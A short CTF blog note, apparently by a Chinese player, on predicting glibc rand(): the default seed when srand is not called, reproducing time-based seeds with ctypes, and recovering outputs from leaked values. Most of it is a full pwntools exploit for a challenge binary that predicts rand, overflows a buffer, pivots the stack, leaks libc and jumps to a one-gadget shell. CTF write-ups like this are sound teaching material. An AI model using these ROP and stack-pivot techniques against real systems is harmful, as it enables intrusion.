Tricks about rand function in Glibc standard library stdlib in CTF

记录一下

有关Glibc标准库stdlib中rand函数的一些trick

未进行srand(seed)

See here,如果没有指定种子,则seed默认为1。

demo可以随手搓一个,此处略过。

srand(time(0))

如果网络质量没那么烂,可以在remote()之后起一个int(time.time()),配合ctypes.CDLL调用对应libc库中的srand(),随机数即可被绕过。

demo可以随手搓一个,这里给出一个python脚本模板。

CDLL之前用的时候出现过高版本不能用的问题,不过我目前找不到样本,如果您手里有相关样本或者您知道怎么解决这个问题,请联系我,谢谢。

1
2
3
4
5
from ctypes import CDLL
from time import time
clib=CDLL("libc.so.6")
clib.srand(int(time()))
print(clib.rand())

种子来自/dev/urandom,且可以获得rand的执行结果

rand source code

paper

例题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *
import os
context(arch="amd64", os="linux", log_level="debug")
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
r_list=[]
succ=0
trial=0
def menu(ch):
    s.sendlineafter(b"]",ch)

def round(curr=1):
    global succ
    menu(b"y")
    for i in range(5):
        s.sendlineafter(b": ",str(curr).encode())
        dat=s.recvline()
        if b"win" in dat:
            succ=1
            success("win")
            return
    menu(b"6")
    menu(b"y")
    s.recvuntil(b"is ")
    dat=s.recvline(keepends=False)
    r_list.append(eval(b"0x"+dat))
    menu(b"y")

if __name__=="__main__":
    for i in range(40):
        round()
    while not succ:
        assert trial<10
        trial+=1
        round(r_list[40-31]+r_list[40-3])
    
    pivot=0x4014C6
    frbp=0x4140E8+0x40
    leave_ret=0x0000000000401378
    rbp=0x000000000040125d
    rdx=0x0000000000401543
    rbx=0x0000000000401540
    rsi=0x000000000040153d
    add_magic=0x000000000040125c
    s.sendline(b"a"*0x40+p64(frbp)+p64(pivot)+p64(leave_ret))
    pause()
    s.sendline(flat([
        elf.got.read,elf.plt.puts,
        rbp,0x414100,pivot,leave_ret,
        0xdeadbeef,0xdeadbeef,0x4140e0+0x3d,
        rbx,0x100000000-libc.sym._IO_2_1_stderr_+0x000000000002a6c5,add_magic,
        rbp,0x4140e0-8,leave_ret,
    ]))
    libc.address=u64(s.recvuntil(b"\x7f").ljust(8,b"\x00"))-libc.sym.read
    assert libc.address&0xfff==0 and libc.address!=0
    success(hex(libc.address))
    info(str(s.proc.pid))
    s.send(b"a"*0x48+flat([
        rsi,0,
        rdx,0,
        libc.address+0xeacf2,
    ]))
    s.interactive()
0%